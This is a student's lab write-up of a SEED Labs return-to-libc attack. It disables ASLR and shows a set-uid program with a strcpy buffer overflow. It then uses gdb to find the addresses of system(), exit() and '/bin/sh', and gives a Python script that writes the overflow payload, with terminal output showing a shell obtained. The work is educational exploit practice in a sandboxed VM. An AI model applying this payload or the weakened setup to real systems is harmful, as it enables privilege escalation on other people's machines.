# Turning off countermeasures

## Configuring /bin/sh and Address Space Randomization

```
[07/17/21]seed@VM:~/.../return_to_lib$ sudo sysctl -w kernel.randomize_va_space=
)
kernel.randomize_va_space = 0
[07/17/21]seed@VM:~/.../return_to_lib$  sudo ln -sf /bin/zsh /bin/sh
```

# The Vulnerable Program

## 编辑retlib.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
unsigned int *framep;
// Copy ebp into framep
asm("movl %%ebp, %0" : "=r" (framep));
/* print out information for experiment purpose */
printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer);
printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep);
strcpy(buffer, str); →buffer overflow!
return 1;
}
int main(int argc, char **argv)
{
char input[1000];
FILE *badfile;
badfile = fopen("badfile", "r");
int length = fread(input, sizeof(char), 1000, badfile);
printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input);
printf("Input size: %d\n", length);
bof(input);
printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
return 1;
}
// This function will be used in the optional task
void foo(){
static int i = 1;
printf("Function foo() is invoked %d times\n", i++);
return;
```

```
}
```

## 编译并设为set-uid程序

```
[07/17/21]seed@VM:~/.../return_to_lib$ gcc -m32  -fno-stack-protector -z noexecs
tack -o retlib retlib.c
[07/17/21]seed@VM:~/.../return_to_lib$ sudo chown root retlib
[07/17/21]seed@VM:~/.../return_to_lib$ sudo chmod 4755 retlib
[07/17/21]seed@VM:~/.../return to lib$ touch badfile
```

## 通过gdb得出system与exit地址

```
[07/17/21]seed@VM:~/.../return_to_lib$ vim prtenv.c
[07/17/21]seed@VM:~/.../return_to_lib$ gcc prtenv.c -o prtenv
```

```
[07/17/21]seed@VM:~/.../return_to_lib$ prtenv
ffffe40f
```

同样，得出buffer与ebp地址

```
gdb-peda$ p &buffer
$2 = (char (*)[12]) 0xffffcd20
gdb-peda$ p $ebp
$3 = (void *) 0xffffcd38
gdb-peda$ p/d oxffffcd38 - oxffffcd20
No symbol "oxffffcd38" in current context.
gdb-peda$ p/d oxffffcd38 - 0xffffcd20
No symbol "oxffffcd38" in current context.
gdb-peda$ p/d 0xffffcd38 - 0xffffcd20
$4 = 24
```

根据计算结果，将变量值填入py程序。该py程序用于编写badfile

```
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 36
sh_addr = 0xffffe40f # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 26
system_addr = 0xf7e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
Z = 32
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

执行程序，成功获得shell

```
[07/17/21]seed@VM:~/.../return_to_lib$ retlib
Address of input[] inside main(): 0xffffcdb0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd80
Frame Pointer value inside bof(): 0xffffcd98
$
```

```
[07/17/21]seed@VM:~/.../return_to_lib$ gcc -m32 -fno-stack
[07/17/21]seed@VM:~/.../return_to_lib$ retlib
Address of input[] inside main(): 0xffffcdb0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd80
Frame Pointer value inside bof(): 0xffffcd98
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cd
,136(docker)
$
```

Defeat Shell's countermeasure